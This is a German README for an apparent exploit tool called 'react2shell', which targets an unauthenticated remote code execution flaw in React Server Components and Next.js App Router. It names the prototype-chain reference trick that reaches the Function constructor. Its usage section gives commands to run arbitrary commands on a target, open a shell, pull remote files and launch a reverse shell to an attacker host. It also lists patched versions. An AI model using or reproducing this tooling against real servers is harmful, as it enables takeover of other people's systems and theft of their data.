react2shell

Beschreibung

React Server Components (Flight-Protokoll) deserialisieren angreifergesteuerte multipart/form-data, ohne den Zugriff auf die Prototypenkette zu validieren. Ein einzelner nicht authentifizierter POST mit einem Next-Action-Header erreicht den Function-Konstruktor über eine manipulierte Referenzkette ($1:__proto__:then + $1:constructor:constructor), was zu Remote Code Execution auf dem Server führt.

Betroffen sind react-server-dom-{webpack,turbopack,parcel} 19.0.0 - 19.2.0 und nachgelagerte Anwendungen, darunter Next.js App Router (14.3.0-canary.77+, 15.x, 16.x). Standardmäßige create-next-app-Projekte sind verwundbar.

Verwendung

git clone https://github.com/rvzsec/react2shell
cd react2shell
pip3 install -r requirements.txt

python3 react2shell.py check    -t <ziel>
python3 react2shell.py exec     -t <ziel> -c '<befehl>'
python3 react2shell.py shell    -t <ziel>
python3 react2shell.py file     -t <ziel> -f <entfernter-pfad> -o <lokal-ausgabe>
python3 react2shell.py revshell -t <ziel> --lhost <ip> --lport <port>

Gepatchte Versionen

React 19.0.1 / 19.1.2 / 19.2.1+ - Next.js 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7

Credits

Ursprüngliche Offenlegung: Lachlan Davidson (@lachlan2k)